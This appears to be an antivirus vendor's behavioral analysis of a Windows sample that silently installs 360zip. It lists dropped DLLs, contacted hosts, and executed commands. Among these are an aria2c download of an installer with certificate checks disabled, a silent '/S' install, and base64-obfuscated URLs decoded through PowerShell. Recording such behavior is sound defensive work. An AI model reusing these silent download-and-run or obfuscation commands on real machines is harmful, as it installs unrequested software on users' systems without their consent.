%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\imagehandle.dll в %ProgramFiles(x86)%\360\360zip\imagehandle.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\iseeimage.dll в %ProgramFiles(x86)%\360\360zip\tools\360kantu\iseeimage.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\iseeraw.dll в %ProgramFiles(x86)%\360\360zip\tools\360kantu\iseeraw.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\kittip.dll в %ProgramFiles(x86)%\360\360zip\kittip.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\libzipsandbox.dll в %ProgramFiles(x86)%\360\360zip\libzipsandbox.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\liveupd360.dll в %ProgramFiles(x86)%\360\360zip\liveupd360.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\lockkrnl.dll в %ProgramFiles(x86)%\360\360zip\lockkrnl.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\miniui.dll в %ProgramFiles(x86)%\360\360zip\miniui.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360pdfview\pdfcore.dll в %ProgramFiles(x86)%\360\360zip\tools\360pdfview\pdfcore.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\pdown.dll в %ProgramFiles(x86)%\360\360zip\pdown.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\safelive.dll в %ProgramFiles(x86)%\360\360zip\safelive.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\webp.dll в %ProgramFiles(x86)%\360\360zip\webp.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\wicloader.dll в %ProgramFiles(x86)%\360\360zip\wicloader.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zip.sfx в %ProgramFiles(x86)%\360\360zip\360zip.sfx
%TEMP%\{6bc31910-c815-40bf-97ea-602260c7438d}.tmp в %ProgramFiles(x86)%\360\360zip\7z.dll

Сетевая активность

Подключается к

'vi#.#23pan.cn':443
'19#.#32.210.172':80
'oc##.#igicert.cn':80
'23.##0.163.238':80
'st####.rapidssl.com':80
'cn.#pihz.cn':443
'qy###.weixin.qq.com':443
'sf##.#60safe.com':443
's.#.360.cn':80

TCP

Запросы HTTP GET

http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?d4##############
http://oc##.#igicert.cn/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEA%2FgMquETQMxBsUMjhPIsGg%3D
http://st####.rapidssl.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRJiUKgT2m88fZ4nxc1Lu6M%2FjvkagQUDNtsgkkPSmcKuBTuesRIUojrVjgCEAd4V2iV2b3G0kATGz4UOAg%3D

Запросы HTTP POST

http://s.#.360.cn/scan

Другие

'vi#.#23pan.cn':443
'cn.#pihz.cn':443
'qy###.weixin.qq.com':443
'sf##.#60safe.com':443

UDP

DNS ASK vi#.#23pan.cn
DNS ASK oc##.#igicert.cn
DNS ASK st####.rapidssl.com
DNS ASK cn.#pihz.cn
DNS ASK qy###.weixin.qq.com
DNS ASK sf##.#60safe.com
DNS ASK s.#.360.cn

Другое

Создает и запускает на исполнение

'%HOMEPATH%\lgx\nwinfox64.exe' --sys --cpu --smbios=2 --pci=03
'%HOMEPATH%\lgx\nwinfox64.exe' --pci=03
'%HOMEPATH%\lgx\aria2c.exe' -c --async-dns=false --disable-ipv6=false -s40 -x40 --min-split-size=1M --check-certificate=false --file-allocation=none https://sfdl.360safe.com/netunion/20140425/360zip_yqlm_363291.exe --cons...
'%HOMEPATH%\lgx\360zip_yqlm_363291.exe' /S /pid=yqlm
'%ProgramFiles(x86)%\360\360zip\360zip.exe' -install /pid 363291 /new

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /C "%HOMEPATH%\lgx\1.cmd"
'<SYSTEM32>\mode.com' con: cols=110 lines=35
'<SYSTEM32>\chcp.com' 936
'<SYSTEM32>\cmd.exe' /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wYW5kYS5saWd4bmcuY24='))"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wYW5kYS5saWd4bmcuY24='))"
'<SYSTEM32>\cmd.exe' /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9zaWx2ZXIueXVrYWlkaS5jb20='))"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9zaWx2ZXIueXVrYWlkaS5jb20='))"
'<SYSTEM32>\cmd.exe' /c "%HOMEPATH%\lgx\1.cmd silent_install >nul 2>&1"
'<SYSTEM32>\cmd.exe' /c nwinfox64.exe --pci=03 2>&1
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Get-CimInstance -ClassName Win32_VideoController | ForEach-Object { $_.DriverVersion; $_.DriverDate.ToString('yyyy-MM-dd') }"
'<SYSTEM32>\cmd.exe' /c type "%TEMP%\gpuinfo.txt"
'<SYSTEM32>\cmd.exe' /c powershell -command "$Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown').Character"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown').Character"
'<SYSTEM32>\regsvr32.exe' /s "%ProgramFiles(x86)%\360\360zip\360ZipExt64.dll"

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней